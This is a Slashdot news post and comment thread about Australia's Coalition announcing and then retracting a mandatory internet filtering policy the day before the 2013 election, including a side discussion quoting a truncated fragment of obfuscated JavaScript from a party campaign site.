On Eve Of Election, Australia's Conservatives Announce Mandated Filtering Policy 87
Dan B. writes "After Australia's Conservative party (LNP) quietly posted a policy [PDF] to impose mandatory internet filtering just one day prior to the country's election, local premiere internet forum Whirlpool has gone in to overdrive with the fastest 50 page thread ever. At 8:30pm, both sides of politics were busy running media releases, with the Conservatives hastily back-pedalling on the policy, and the Government attacking it, accusing them of hypocrisy after voting down their own proposed filter 3 years prior, stating there was no proof filtering works."
Just a distraction (Score:5, Interesting)
Smells like a deliberate "mistake" to keep the news outlets busy for the final day before the election. Will prevent scrutiny of their policy costings they only just released today, 48 hours before the election.
Another scandal too? (Score:5, Interesting)
There's a thread on reddit Australia - some guy claims a Liberal Party Facebook app is harvesting data using hex-encoded javascript. I'm pretty sure it's against their own privacy policy, the Facebook ToS, and possibly illegal.
Re:Fastest policy backflip in history? (Score:5, Interesting)
For something that isn't policy, was never policy, was never going to be policy, and will never be policy, it certainly looks remarkably like an official policy manifesto to me:
http://www.scribd.com/doc/165690692/Coalition-2013-Election-Policy-%E2%80%93-Enhance-Online-Safety-final [scribd.com]
Are you implying their finger slipped in just such a way as to write a 10 page policy document, cost the policy, put the correct date on the document, and post the policy to their website completely accidentally? Or are you claiming that this is some sort of absurdly elaborate (and dull) hacker forgery?
At the very best, you can say that this is a policy that they entertained to quite a complete point before abandoning it- and that the almost-complete literature was made public accidentally. But that still implies that this is a policy that senior Liberals were happy to consider. The document is footnoted "authorised by Brian Loughnane", which is the party's Federal Director and Campaign Director; presumably a man who is at least relatively in tune with his party's policy attitudes.
Re:no proof filtering works? (Score:2, Interesting)
Did you actually read the summary? It's a non-policy that they've already backtracked from due to public outcry.
Also even if this ridiculous policy would have become reality, it was an opt-out system. Comparisons with China aren't very useful (you can't really opt out of their filter, though you can easily bypass it).
Security Theater (Score:5, Interesting)
More security theater designed to make people feel like government is doing something when it's not.
My son recently started public school. I took him on his first day only to find hundreds of kids milling about the front of the school, in the street, totally un-supervised. I tried to get in and the doors were locked. They didn't unlock until 7:30am the time class started so of course, every kid was late for first period. I went to the office and they told me due to all the school shootings (in the whole country we've had what? 1? In the past 5 years?) They said I'd have to take it up with the school board and blew me off.
Well, I did take it up with the school board. I called and pointed out that they were locking an EMPTY SCHOOL. All the kids were outside, unsupervised with no-where to go should a potential attacker arrive. It was ridiculous. To my amazement they got me in touch with the school districts director of security who conceded my point, agreed with my assessment and made a district wide policy change on the spot. She said that the change had been requested by local politicians over the summer and she hadn't really thought it through. By the time I went to pick up my kid the school was back to being unlocked. At least there are a few in government with half a brain in their head.
Re:Another scandal too? (Score:4, Interesting)
OK, go here: http://thechoice.liberal.org.au/assets/js/scripts_a525ba27d7083afd6698e2641babf7ff.min.js [liberal.org.au]
Find the bit that starts: decodeURIComponent((new RegExp("[?|&]"+a+"=([^&;]+?)(&|#|;|$)").exec(location.search)||[,""])[1].replace(/\+/g,"%20"))||null}var _0x8ece=["\x68\x74\x74\x70\x3A
How exactly do you describe it?